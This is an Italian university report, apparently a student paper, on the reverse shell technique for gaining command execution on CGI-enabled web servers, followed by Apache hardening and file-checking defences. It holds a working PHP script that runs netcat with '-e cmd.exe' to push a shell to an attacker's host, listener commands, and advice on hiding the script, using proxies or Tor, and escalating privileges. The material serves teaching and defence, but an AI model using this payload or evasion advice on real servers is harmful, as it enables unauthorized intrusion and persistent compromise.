Tecnica della Reverse Shell
Tecnica della Reverse Shell
Tecnica della Reverse Shell
Create successful ePaper yourself
Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.
<strong>Tecnica</strong> <strong>della</strong> <strong>Reverse</strong> <strong>Shell</strong><br />
Riccardo V. Vincelli 709588<br />
r.vincelli@campus.unimib.it<br />
L' obiettivo <strong>della</strong> relazione e' illustrare come<br />
sia possibile, a patto di alcune assunzioni in<br />
termini di sicurezza non troppo restrittive,<br />
avere possibilita' d' esecuzione su un<br />
webserver tramite la tecnica <strong>della</strong> shell<br />
inversa.<br />
La trattazione vuole essere anche<br />
abbastanza pratica e rispecchia perlopiu'<br />
fedelmente esperienze avute dall' autore.<br />
1. Terminologia<br />
Con il termine shell intendiamo<br />
principalmente la seguente cosa: la<br />
possibilita' di potere utilizzare un interprete<br />
dei comandi testuale del sistema attaccato (il<br />
programma comunemente detto shell<br />
appunto), e quindi essere in grado di<br />
eseguire comandi sulla stessa macchina
compromessa.<br />
L' effettivo file eseguibile che l' attaccante<br />
sceglie di utilizzare, dovrebbe essere uno sul<br />
quale egli ha dimestichezza: mentre questo<br />
discorso non ha troppo senso ad esempio<br />
sui sistemi Windows, dove l' interprete dei<br />
comandi e' fondamentalmente uno, il file<br />
cmd.exe o command.com su sistemi datati,<br />
sui sistemi Unix si hanno in genere vari<br />
interpreti a disposizione e quindi la scelta<br />
non e' indifferente, anche rispetto alle tracce<br />
che l' attaccante stesso lascia: ad esempio la<br />
bash (Bourne-Again SHell, evoluzione <strong>della</strong><br />
Bourne SHell) offre di default una<br />
funzionalita' di cronologia dei comandi digitati<br />
(salvati nel file .bash_history, visualizzabili<br />
tramite il comando history e richiamabili<br />
tramite !n, dove n e' il numero del comando<br />
cosi' come appare nell' output di history) e<br />
quindi, una volta disconnessi, un<br />
amministratore di sistema puo' andare a<br />
vedere, in teoria, scoperta la<br />
compromissione, i comandi digitati che,<br />
potenzialmente, possono anche tradire l'<br />
attaccante; riprenderemo questo discorso
piu' avanti.<br />
Una shell si puo' ottenere in molti modi, la<br />
tecnica in esame non e' certamente la prima<br />
ad essere stata pensata ne' sicuramente la<br />
migliore.<br />
La shell piu' ambita e', ovviamente, quella di<br />
root/administrator, identificabile nella<br />
stragrande maggioranza dei sistemi *nix dal<br />
simbolo '#', ma non e' il nostro caso, almeno<br />
nella tecnica <strong>della</strong> reverse shell cosi' com'e':<br />
sarebbe potenzialmente possibile se, per<br />
assurdo, il webserver fosse eseguito da root.<br />
Con il verbo bucare intendiamo l' avere<br />
accesso esecutivo effettivo ad un sistema,ad<br />
esempio proprio avendo la possibilita' di una<br />
shell.<br />
Il termine puo' assumere significati affini, ma<br />
raggiungere il "buco" puo' anche non<br />
significare un qualcosa di troppo<br />
straordinario: se infatti si riesce ad avere<br />
possibilita' di esecuzione su una macchina<br />
non troppo performante, ad esempio, una
che risulta essere spesso<br />
irraggiungibile/sconnessa o con impedimenti<br />
formali elevati, per esempio si hanno i<br />
privilegi di un utente di comodo che non puo'<br />
molto (vedi sotto), l' avere bucato un sistema<br />
non e' cosa troppo gratificante per un<br />
attaccante.<br />
La parola bot (diminutivo di robot) intende un<br />
programma automatico che, una volta<br />
eseguito, non necessita stretta supervisione,<br />
cioe' non necessita' di input utente, e fa un<br />
qualcosa che l' attaccante reputa utile.<br />
Possiamo avere molti tipi di bot: per<br />
esempio, nel mondo di IRC (Internet Relay<br />
Chat), in alcune situazioni dei programmi bot<br />
sono utilizzati per mantenere il possesso di<br />
una stanza di discussione, o ancora nei<br />
giochi online modello client-server i bot<br />
fungono da giocatori automatici o supervisori<br />
<strong>della</strong> regolarita' del gioco stesso per evitare<br />
che gli utenti usino trucchi e similia.<br />
Un uso comune che si fa di una shell e'<br />
proprio quello di installare, ed eseguire,
programmi del tipo. Cio' si lega<br />
principalmente a due aspetti:<br />
-il bot ha necessita' di essere sempre<br />
connesso<br />
-esistono provider che offrono possibilita' di<br />
avere processi sempre in esecuzione e<br />
sempre connessi, ma al giorno d' oggi quasi<br />
nessuno di questi offre tale servizio<br />
gratuitamente.<br />
Quindi se il buco da' esito che si rivela<br />
positivo, cioe' se l' attaccante si accorge di<br />
avere in controllo una macchina<br />
soddisfacente, una possibilita' e' certo quella,<br />
se ne ha necessita', di installare suddetti bot.<br />
Vantaggi in questo senso possono essere:<br />
-l' amministratore non si accorge <strong>della</strong><br />
compromissione se non andando a dare un<br />
occhiata ai processi in esecuzione (in *nix,<br />
comando ps), o alle connessioni attive<br />
(comandi netstat oppure sockstat) poiche' il<br />
programma determina utilizzo di risorse<br />
limitato ed e' silenzioso.<br />
-l' attaccante risparmia qualche soldo poiche'<br />
ottiene quello che dovrebbe pagare (anche<br />
se non troppo, la media e' quella di 2.5$ a
processo in background e connesso, per la<br />
durata di un mese) rivolgendosi a provider in<br />
modo legale.<br />
Le possibilita' di scenari bot-related sono<br />
molte, e possono spingersi anche ad ipotesi<br />
piu' marcatamente illegali anche se (forse?)<br />
piu' rare (drone-botnet, sniffing ecc...)<br />
2. Assunzioni/prerequisiti<br />
Quello che dobbiamo avere e' possibilita' di<br />
scrittura su una macchina che permetta di<br />
eseguire da remoto degli script di un<br />
linguaggio interpretato: nella pratica mi<br />
rifaccio all' avere un account ftp su un<br />
webserver che monti perl o php nel contesto<br />
piu' ampio dello standard CGI (Common<br />
Gateway Interface, un modo W3C-compliant<br />
di gestire contenuti dinamici per siti web); il<br />
sistema operativo dev' essere Windows o<br />
Linux/*BSD (con buona approssimazione<br />
anche altri sistemi unix non troppo desueti<br />
possono andare).
Inutile dire che la possibilita' di scrittura puo'<br />
essere legittima (nostro caso) o illegittima,<br />
requisito minimo e' solo mettere gli script in<br />
un luogo dove possano essere raggiunti ed<br />
eseguiti dal webserver o meglio dall'<br />
interprete (ad esempio mod_perl per il server<br />
Apache).<br />
Questo scenario, a pensarci bene, non e'<br />
nulla di raro: provider come Aruba forniscono<br />
per pochi euro un servizio di questo tipo su<br />
base annuale ed al giorno d' oggi la<br />
stragrande maggioranza dei siti internet di<br />
privati e piccole-medie imprese sono operati<br />
in questo od altri molto affini modi (non sto<br />
citando nessuna fonte ma e' un fatto<br />
abbastanza immediato a chi abbia un minimo<br />
di dimestichezza nel campo).<br />
Un altro prerequisito, banale, e' quello di<br />
avere un web browser funzionante: per<br />
fortuna per quel che ci interessa, non ci<br />
serve altro che digitare un url ed attenderne l'<br />
esecuzione (tanto per intenderci, anche un<br />
browser come Lynx va piu' che bene, ma<br />
assumiamo InternetExplorer).
Altri strumenti che ci servono sono un netcat<br />
ed uno script per eseguire la shell<br />
remotamente, ed un programma per<br />
ricevere, localmente, la shell inviata da<br />
remoto (a tal proposito utilizzo ancora<br />
netcat).<br />
Lo script scritto da me e' molto semplice, e<br />
netcat e' un' utility free.<br />
3. L' attacco<br />
Lo schema dell' attacco e' abbastanza<br />
semplice, ma potente:<br />
1. Modificare lo script: la coppia<br />
indirizzo:porta cui mandarla.<br />
Attenzione se decidiamo di mandarla ad un<br />
indirizzo riconducibile a noi! (es. il pc di<br />
casa, molto riconducibile a noi direi)<br />
2.Caricarlo (una cartella dove siamo sicuri<br />
sia raggiungibile e' quella dove si trova<br />
anche l' index o simili corrente)<br />
3.Caricare netcat nello stesso luogo (netcat
emoto)<br />
4.Mettere in ascolto il netcat locale sulla<br />
coppia indirizzo:porta scritti nello script<br />
5. Eseguire lo script tramite url<br />
Attenzione se decidiamo di mandare la<br />
richiesta da un indirizzo riconducibile a<br />
noi! (es. non utilizzando proxy; ricordiamo<br />
poi che browser come IE lasciano una<br />
caterva di informazioni aggiuntive!)<br />
6. Connettersi a dove abbiamo mandato la<br />
shell.<br />
Le istruzioni le ho riscritte in inglese nello<br />
script stesso.<br />
4. Esame dei passi<br />
4.1. Script<br />
Lo script fornito e' stato scritto pensando di<br />
attaccare un server Windows, dove la<br />
particolare scomodita' e' la presenza di un<br />
interprete di default non avanzato che non<br />
permette d' essere usato interattivamente da<br />
remoto: questo ci costringe ad appoggiarci a<br />
netcat anche per il lato server.
Ho conosciuto questa tecnica circa quattro<br />
anni fa, presi dal sito<br />
http://www.pentestmonkey.org degli script sia<br />
in perl sia in php che fanno la stessa cosa<br />
ma in modo piu' avanzato ed anche<br />
sicuramente piu' fine: in particolare non ci si<br />
appoggia a netcat per l' interattivita' ma all'<br />
opzione -i delle shell redirigendo gli standard<br />
input, output ed error su una socket tcp.<br />
Ai tempi, per avere un' idea statistica di<br />
massima, 4 su 5 server risultavano proni.<br />
Riprovando oggi, la situazione e' inversa,<br />
infatti l' idea di hardening rispetto alla<br />
sicurezza degli script web e' cosa comune.<br />
Codice:<br />
http://joncraton.org/media/files/nc111nt<br />
.zip<br />
//-on the attacking host (your box or<br />
one you control, whose ip is say<br />
1.3.3.7)<br />
// put netcat in listening mode on a<br />
free port: nc -l -p 12345<br />
// On Windows I noticed that binding to<br />
a particular address is not working<br />
// properly, so the command I suggest is<br />
always fine.<br />
//-upload the script:<br />
// --you must upload it in a directory<br />
url-reachable (ie from a browser)<br />
// --it's necessary it supports script<br />
execution too (ie cgi-bin)<br />
//-upload netcat<br />
//-execute the script (ie<br />
http://example.com/cgiscript/script.php)<br />
//-on the console you issued the<br />
listening command,<br />
// you should receive the desired shell.<br />
//<br />
//This script is lame and is intended<br />
for spawning against a win box.<br />
//If you want finer examples ncindependent<br />
for the server side and<br />
//unix-targeting check out<br />
http://pentestmonkey.net/tools/phpreverse-shell/<br />
//
Bugs:<br />
//The "manual" is way longer than the<br />
code itself<br />
//<br />
//Author:<br />
//RVV - r.vincelli@campus.unimib.it<br />
$shell = 'nc.exe -v -n 192.168.1.4 12345<br />
-e cmd.exe';<br />
exec($shell);<br />
?><br />
Vedi "Esempio" per una dimostrazione dell'<br />
attacco.<br />
4.2. Caricamento<br />
L' assunzione piu' comoda e' avere un<br />
account ftp o similia per uppare lo script in<br />
una directory raggiungibile dal webserver;<br />
ovviamente in generale e' quest' ultimo punto<br />
che ci interessa, non tanto come ci arriviamo<br />
(ftp o altro).<br />
Lo script e' un file php, testo quindi, e va<br />
inviato in modalita' ascii pertanto. Non e'<br />
generalmente necessario modificarne i<br />
permessi, ma e' auspicabile modificarne il<br />
nome in qualcosa che, se proprio non
inganni, quando lo legga, l' amministratore,<br />
almeno non gli sia lampante quando ci mette<br />
sopra gli occhi.<br />
Torneremo sotto sui "tempi di sopravvivenza"<br />
stimati di questo tipo di attacco.<br />
4.3-4.4. Netcat<br />
Netcat (nc) e' un' utility unix portata anche a<br />
Windows soprannominata "coltellino svizzero<br />
di Internet", ed a buon diritto: puo' essere<br />
utilizzato in modo arbitrario come peer di una<br />
connessione tcp o udp, permettendo cose<br />
come modello client/server, trasferimento di<br />
dati, client raw e molte altre. Nel nostro caso<br />
ci limitiamo al comando per metterlo in<br />
ascolto:<br />
nc -l -p PORTA<br />
dove PORTA dev' essere ovviamente quella<br />
messa nello script.<br />
In un sistema Windows la porta in uso non<br />
dev' essere bloccata da firewall, in unix oltre<br />
a questo dobbiamo utilizzare, se non root (e<br />
veramente non ha senso che si sia loggati<br />
root in una situazione del genere, e piu' in<br />
generale ora non ha piu' senso essere<br />
loggati come root, esistendo utility come
sudo) una porta piu' alta di 1024.<br />
4.5. Esecuzione<br />
L' esecuzione si riduce al digitare l'<br />
opportuno url nel nostro browser di fiducia.<br />
Come gia' notato quest' azione, assieme all'<br />
utilizzo <strong>della</strong> shell ma anche maggiormente<br />
rispetto questa, e' una con la quale riveliamo<br />
un sacco di informazioni al webserver; non<br />
volendo entrare nel merito di browser<br />
particolari come detto sopra, la quantita' di<br />
informazioni rilasciata puo' essere valutata<br />
ad esempio all' indirizzo<br />
http://mybrowserinfo.com/detail.asp ;<br />
ricordando che tutti i webserver hanno una<br />
minima logging capability abilitata di default,<br />
e' un punto su cui proprio non possiamo<br />
transigere.<br />
Come noto, e' possibile utilizzare un proxy<br />
per "nascondere" l' indirizzo del browser, ma<br />
questa via non e' dopotutto il massimo<br />
perche':<br />
-non tutti i tipi di proxy sono anonimi (nel<br />
senso che inoltrano si' la connessione da<br />
parte nostra, ma comunicano la nostra<br />
identita' al webserver o mantengono log dei
client che servono)<br />
-di default, la funzionalita' di proxy dei<br />
browser permette di utilizzarne uno solo alla<br />
volta<br />
-i proxy sono difficili da trovare: quelli che<br />
veramente si rivelano funzionanti sono<br />
solitamente pochi ed in posti esotici (e con<br />
funzionanti intendiamo anche stabili, cioe'<br />
presenti in rete almeno per 24 ore senza<br />
troppa discontinuita'), nonche' subissati di<br />
richieste (specie se appaiono in cima a varie<br />
liste pubbliche come<br />
http://www.samair.ru/proxy ); molti non sono<br />
altro che computer (spesso pc domestici)<br />
compromessi e suoi quali e' installata dal<br />
trojan/bot di turno una funzionalita' proxy, o<br />
tali in virtu' di misconfigurazioni/difetti di<br />
software applicativo (o una combinazione dei<br />
fattori: noto e' il binomio Sobig worm-<br />
Wingate v5)<br />
Un' alternativa sono fornitori di proxy/socks a<br />
pagamento (ma non ha troppo senso!).<br />
Un passo successivo in termini di ricerca d'<br />
anonimato puo' essere l' onion routing<br />
( http://www.torproject.org/index.html.it ).<br />
Ovviamente modi piu' sofisticati, avendo a
disposizione macchine esterne cui non<br />
siamo riconducibili (e che reputiamo<br />
sufficientemente insicure o "distratte" in<br />
termini di logging), sono sempre possibili:<br />
una molto in voga qualche anno fa (o meglio<br />
piu' di qualche anno fa) e' l' utilizzo di un<br />
datapipe, ossia di un piccolo programmino, in<br />
c o in perl solitamente, da eseguire sulla<br />
macchina intermediaria con principalmente<br />
tre argomenti: una porta locale su cui<br />
ascoltare in tcp, una porta ed host remoto cui<br />
mandare i dati ricevuti (una versione anche<br />
interattiva si puo' trovare a<br />
http://packetstormsecurity.org/groups/s0ftpj/p<br />
ippa_v2.txt ).<br />
4.6. Connettiamoci!<br />
Il passo finale non e' altro che connetterci<br />
dove abbiamo mandato la shell; se e' una<br />
prova o se ci fidiamo ci connetteremo a noi<br />
stessi. Pur essendo possibile riutilizzare<br />
netcat, e' molto piu' comodo il noto telnet:<br />
telnet e' un protocollo con i quali molti<br />
smanettoni hanno sicuramente confidenza,<br />
se non altro per azioni lamer ma sicuramente<br />
didattiche come provare a mandarci una mail
anonima o connettercisi ad IRC.<br />
5. Concretizzazione dell' attacco<br />
Una volta dentro, dobbiamo decidere che<br />
fare; in qualsiasi caso, ci deve guidare il<br />
buonsenso.<br />
Anzitutto, avremo poteri limitati: la shell avra'<br />
i privilegi dell' utente che ha eseguito il<br />
demone http: in unix e' solitamente un utente<br />
di comodo (httpd, www, nobody ecc...), in<br />
Windows ci possiamo aspettare un utente<br />
non di default ma “sicuramente” non di livello<br />
amministrativo.<br />
Ricordiamo che oltre all' utilizzo di utenti di<br />
comodo, altre configurazioni di sicurezza<br />
adatte anche ad un ambiente DAC<br />
(discretionary access control) possono<br />
essere:<br />
-chrooting: un' applicazione e' "bloccata" in<br />
una sottodirectory, cioe' posta in un contesto<br />
dove ha tutti i file necessari al suo<br />
funzionamento sottoforma di hardlink ai file<br />
effettivi, e copie dei device in caso<br />
-jailing: sistema introdotto da FreeBSD che
prevede il partizionamento dell' os in vari<br />
sottosistemi virtuali indipendenti<br />
trasparentementemente all' utente.<br />
Notiamo che tutti queste possibilita' sono un<br />
qualcosa di nativo nei sistemi unix: per<br />
questo e per altri motivi (es. multiutenza e<br />
permessi stretti, paradigmi MAC-mandatory<br />
access control), sono da reputarsi piu' sicuri:<br />
semmai dubbi si possono avere circa la<br />
facilita' nel configurare l' ambiente adatto, e<br />
per sanare questo punto ci si puo' ad<br />
esempio aiutare con wizard grafici e con un<br />
approccio meno hardcore unix all' utilizzo dei<br />
file di configurazione (la strada presa da Mac<br />
OSX).<br />
Buonsenso e' anche rendersi conto che,<br />
comunque sia, danneggiare il sistema<br />
cancellando file su cui si hanno permessi e'<br />
deleterio: in prima battuta per una questione<br />
morale (stiamo buttando via lavoro altrui) in<br />
seconda per una pratica; un admin che si<br />
accorge di essere stato "battuto" ma non<br />
rileva danni, puo' pigramente prendere nota<br />
dell' accaduto e dimenticarsene (ecco magari<br />
non troppo pigramente, dovrebbe cercare di
capire come l' attaccante e' entrato!).<br />
Ma nel caso in cui abbia problemi di sorta, ad<br />
esempio un cliente del provider che possiede<br />
il webserver si ritrova lo spazio web<br />
interamente cancellato, inattivo per del<br />
tempo, e la colpa finisce sull' admin, puo'<br />
magari mettersi a spulciare, termine non<br />
correttissimo visto che esiste software che<br />
agevola il processo, i log di sistema e<br />
provare a non farla passare liscia all'<br />
attaccante.<br />
Posto che non facciamo nessuna azione che<br />
ci renda visibili (cancellazioni gratuite o<br />
anche defacciamenti dei siti), ci chiediamo<br />
ora come fare per rimanere piu' a lungo<br />
possibile invisibili (o nascosti bene) agli occhi<br />
dell' admin.<br />
La tecnica <strong>della</strong> reverse shell dovrebbe<br />
essere un punto di partenza e non di arrivo:<br />
non abbiamo in casi normali grossi privilegi e<br />
siamo dipendenti da uno script.<br />
Settarlo nascosto e "nasconderlo" in<br />
sottocartelle puo' aiutare, tutto dipende dalla<br />
frequenza con cui il sito internet e'
aggiornato ma soprattutto da come: se per<br />
assurdo il webmaster o chi per esso usano<br />
solo cms (content management systems) e<br />
non danno mai un occhio alla webroot per<br />
esempio via ftp, ci sono buone possibilita'<br />
per noi in questo senso, giusto per citare uno<br />
scenario.<br />
Se la vediamo appunto come partenza, il<br />
passo successivo e' ottenere quel che<br />
vogliamo dal sistema nel miglior modo<br />
possibile; e con cio' comprendiamo un range<br />
di possibilita' vasto, su cui soffermarsi<br />
sarebbe troppo lungo: nascondiamo in /tmp<br />
(dove sicuramente abbiamo accesso in<br />
scrittura) il bot che vogliamo eseguire, o<br />
iniziamo a cercare in rete un exploit locale<br />
per ottenere la root?<br />
In questa fase generalmente non possiamo<br />
prescindere dal sistema in uso, in un livello di<br />
dettaglio anche abbastanza alto: ad esempio<br />
se siamo su una linux box a kernel x.y.z.-tu,<br />
dobbiamo cercare un qualcosa<br />
appositamente per quel kernel.<br />
E' quasi impossibile trovare exploit potenti<br />
locali che sfruttino componenti native del
sistema come kernel, librerie famose ecc;<br />
paga molto di piu' cercare di isolare la<br />
presenza di software applicativi particolari sul<br />
sistema, ad esempio associati a servizi, e<br />
cercare attacchi per questi. Meglio ancora se<br />
proprietari o di vendor non famosissimi: in<br />
questi casi il codice quasi sicuramente<br />
chiuso facilita un eventuale successo.<br />
Certo, se l' attaccante e' veramente di alto<br />
livello, puo' contare sugli zeroday: ma questo<br />
e' un altro discorso.<br />
6. Cure e prevenzioni<br />
Come d' obbligo, bisogna anche mettersi nei<br />
panni dell' admin: poniamo che si accorga<br />
<strong>della</strong> compromissione del sistema, cosa<br />
dovrebbe fare?<br />
La risposta e' valida in senso generale e<br />
possiamo astrarla dall' attacco particolare<br />
<strong>della</strong> reverse shell:<br />
-cercare file e processi sospetti e cancellarli,<br />
terminarli<br />
-esaminare i log di sistema ed applicativi<br />
-isolare le componenti che potrebbero<br />
nascondere la falla
-documentarsi circa vulnerabilita' note su<br />
queste (CVE, BugTraq, siti vendor ecc)<br />
-confrontarsi con altri colleghi<br />
-arrivare ad una soluzione<br />
E' curioso come molte volte siano gli<br />
attaccanti stessi a tendere una mano agli<br />
amministratori di sistema suggerendo la<br />
vulnerabilita' da essi sfruttata o addirittura<br />
fornendo una patch.<br />
Per le prevenzioni invece possiamo portarci<br />
piu' nello specifico proprio rispetto alla<br />
reverse shell; queste sono solo alcune delle<br />
possibili vie.<br />
6.1. Disabilitare gli interpreti in<br />
questione/rinunciare alla common gateway<br />
interface: se non c'e' modo di interpretare gli<br />
script, essi ovviamente sono innocui; e' una<br />
soluzione drastica che puo' non essere<br />
accettabile se la tecnologia cgi e' parte<br />
integrante dell' uso comune del nostro<br />
webserver. Come abbiamo spesso riflettuto<br />
in aula, una risposta del tipo e' una risposta<br />
efficace ma e' un po' un' ultima spiaggia. Un'<br />
altra soluzione molto piu' logica puo'
essere...<br />
6.2....configurare opportunamente quel che<br />
si puo' fare e non, in termini di script! Mi<br />
rifaccio ad una situazione cgi su Apache:<br />
Apache e' infatti il webserver piu' comune e<br />
tra i piu' sicuri; analoghe prevenzioni si<br />
possono avere sull' IIS di Microsoft, che sta<br />
cercando di colmare il gap ma non puo' certo<br />
contare su una community come quella di<br />
Apache.<br />
Abbiamo:<br />
httpd.conf/.htaccess<br />
httpd.conf e' il file di configurazione<br />
principale di Apache, l' abilitazione ed il<br />
settaggio del cgi passano da qui.<br />
Possiamo permettere l' esecuzione di script<br />
cgi (in un qualsiasi linguaggio adatto) in vari<br />
modi:<br />
-direttiva ScriptAlias: le directory che la<br />
seguono sono indicate al server come le<br />
uniche che in un url possono prevedere l'<br />
interpretazione di uno script; se ad esempio<br />
ho:<br />
...
ScriptAlias /cgibin/<br />
...<br />
l' url<br />
http://www.example.com/cgi-bin/test.pl<br />
non determina una richiesta a buon fine dato<br />
che la cartella non e' tra quelle indicate.<br />
-direttiva Options:<br />
...<br />
<br />
Options +ExecCGI<br />
<br />
...<br />
che pero' richiede anche di specificare le<br />
estensioni d' interesse (differentemente dal<br />
modo con ScriptAlias che intende tutti i file<br />
nelle directory specificate come potenziali<br />
script):<br />
...<br />
AddHandler cgi-script .cgi .pl<br />
...<br />
Con queste indicazioni, evitando di lasciare<br />
agli utenti cartelle abilitate agli script dove ne<br />
possano mettere di loro, si raggiunge un<br />
buon livello di sicurezza.<br />
In caso in cui si voglia portare questo cgi
hardening ma non si abbia accesso al<br />
httpd.conf, si possono utilizzare, nei limiti<br />
definiti nel httpd.conf stesso, i file .htaccess,<br />
che non sono altro che override di quest'<br />
ultimo cui effetto e' sulla cartella in cui si<br />
trovano e tutte le sottocartelle (ad esempio<br />
ha senso metterne uno nella webroot).<br />
6.3. Controllare i file caricati<br />
E' possibile pensare ad un processo che<br />
verifichi direttamente il contenuto dei file nell'<br />
albero directory ed agisca di conseguenza:<br />
se in una cartella mi aspetto solo immagini,<br />
elimino i file che non lo sono; se in un' altra<br />
mi aspetto solo codice html, non mi basta<br />
verificare l' estensione, ma vado alla ricerca<br />
di pattern (es. #!/usr/bin/perl) in base a cui<br />
elimino file dannosi; e' possibile anche<br />
pensare ad un report program.<br />
Un semplice script del potente ambiente<br />
shell puo' essere:<br />
#!/bin/sh<br />
while true;<br />
do<br />
for file in *<br />
do<br />
a=$(file $file)
=$file": PHP script text"<br />
c=$file": perl script text executable"<br />
if test "$a" = "$b"<br />
then rm -f $file<br />
elif test "$a" = "$c"<br />
then rm -f $file<br />
fi;<br />
done<br />
done<br />
dove in pratica, per ogni file nella directory<br />
dove lo script e' eseguito, se ne verifica il tipo<br />
tramite l' utility file, e se e' di tipo php o perl,<br />
lo si elimina; lo script e' semplice anche se<br />
ha come punti delicati l' assegnamento dell'<br />
output di un comando ad una variabile<br />
(costrutto $(command)) e la concatenazione<br />
di due stringhe (variabili $b e $c); attenzione<br />
anche al quoting (utilizzando '' al posto di ""<br />
abbiamo errore perche' le variabili non sono<br />
valutate).<br />
Lo script e' da posizionare nelle directory<br />
sensibili; ovviamente si possono avere script<br />
piu' complessi ad esempio che prendono l'<br />
input delle estensioni trigger da un file e<br />
controllano una lista di directory prefissata,<br />
ecc. E' preferibile eseguirlo in background<br />
(posponendo la &) e regolarne l' esecuzione<br />
in startup (ad esempio via cron).
Non dimentichiamo che uno script del genere<br />
puo' essere utilizzato anche su ambiente<br />
Windows: essendo il batch scripting piu'<br />
debole, si puo' talvolta pensare all' uso di<br />
ambienti d' emulazione ad-hoc come<br />
Cygwin.<br />
6.4. Rinominare i file<br />
Questo metodo e' abbastanza debole se<br />
adottato in un sistema in cui l' utente<br />
attaccante ha accesso di lettura e scrittura<br />
pieno, ma buono se percaso l' utente puo'<br />
solo fare upload senza avere la possibilita' di<br />
vedere il contenuto <strong>della</strong> cartella dove carica<br />
file; cambiando il nome dei file (es. attraverso<br />
hashing), l' attaccante non sara' piu' in grado<br />
di formulare un trigger url valido; non si<br />
applica al nostro scenario dove abbiamo<br />
assunto possibilita' ftp equivalenti.<br />
7. Conclusioni<br />
L' attacco <strong>della</strong> shell inversa ha sicuramente<br />
una sua importanza didattica, poiche'<br />
tocchiamo vari argomenti: dall' ambiente di<br />
shell ai linguaggi di scripting.
In termini di efficacia effettiva non e' forse<br />
esaltante: anche quando si riesca a caricare<br />
con successo, ed a fare in modo che non<br />
venga cancellato, nei limiti del possibile, lo<br />
script, le incognite sono rappresentate dal<br />
poter eseguire l' interprete dei comandi, ed il<br />
doversi fermare, almeno in prima battuta, a<br />
privilegi bassi.<br />
Piu' in generale sfruttare l' "aiuto" degli<br />
linguaggi interpretati e' una modalita' d'<br />
attacco applicata anche sotto altri nomi, e<br />
citiamo tra gli altri:<br />
SQL injection: l' attacco consiste nel<br />
presentare in una query sql dati arbitrari<br />
opportunamente scritti. Scenario tipico e'<br />
quello di un file html contenente il form ed un<br />
file in un linguaggio interpretato (es. php)<br />
incaricato di interfacciarsi col dbms per<br />
inoltrare effettivamente l' interrogazione. In<br />
caso di controlli deboli dal lato server, sono<br />
possibili situazioni di autenticazione senza<br />
credenziali ma sullo stesso paradigma e'<br />
possibile pensare anche ad arrivare alla shell
se il dbms espone comandi opportuni (es.<br />
"esegui comando locale").<br />
La reverse shell e' attacco in linea generale<br />
aperto se non ai lamer nella gerarchia degli<br />
smanettoni, almeno ai kiddie: infatti le<br />
conoscenze da avere sono veramente poche<br />
ed il ritocco del codice banale (parametri<br />
host e porta): script del tipo e' suggerito<br />
modificarli leggermente (es. cancellazione d'<br />
una parentesi) per scoraggiare proprio gli<br />
utenti infimi prima di rilasciarli in the wild,<br />
anche se solo come proof of concept, che in<br />
fin dei conti non e' altro che termine<br />
eufemismo per exploit.<br />
8. Esempio<br />
Provo ad instaurare l' attacco da macchina<br />
Windows ad un' altra ancora Windows,<br />
premettendo che sono entrambe mie,<br />
collegate in lan in modo diretto.<br />
L' ambiente web e' rappresentato, per quel<br />
che c' interessa, dal server web Apache con
mod_php abilitato; in particolare per fare piu'<br />
in fretta con la configurazione, ed anche<br />
perche' e' solo un esempio, ho optato per<br />
binari preconfigurati e precompilati con<br />
IndigoAMPP <strong>della</strong> software house IndigoStar.<br />
Inutile dire che scelte del tipo sono<br />
fondamentalmente sbagliate nel caso dell'<br />
allestimento di un server vero e proprio. La<br />
documentazione ufficiale Apache poi e'<br />
esauriente circa l' installazione del webserver<br />
in ambiente Windows, anche se l' ambiente<br />
di riferimento naturale e' certamente uno di<br />
stampo unix.<br />
La webroot; evidenziati i file d' attacco nc e<br />
script:
In ascolto sulla macchina attaccante:
Esecuzione dello script:
La shell e' arrivata! Notiamo che l' ultimo<br />
comando e' un comando dal basso<br />
buonsenso!
9. Webografia/link utili<br />
http://{en,it}.wikipedia.org<br />
http://www.pentestmonkey.org<br />
http://joncraton.org/files/nc111nt.zip<br />
http://www.indigostar.com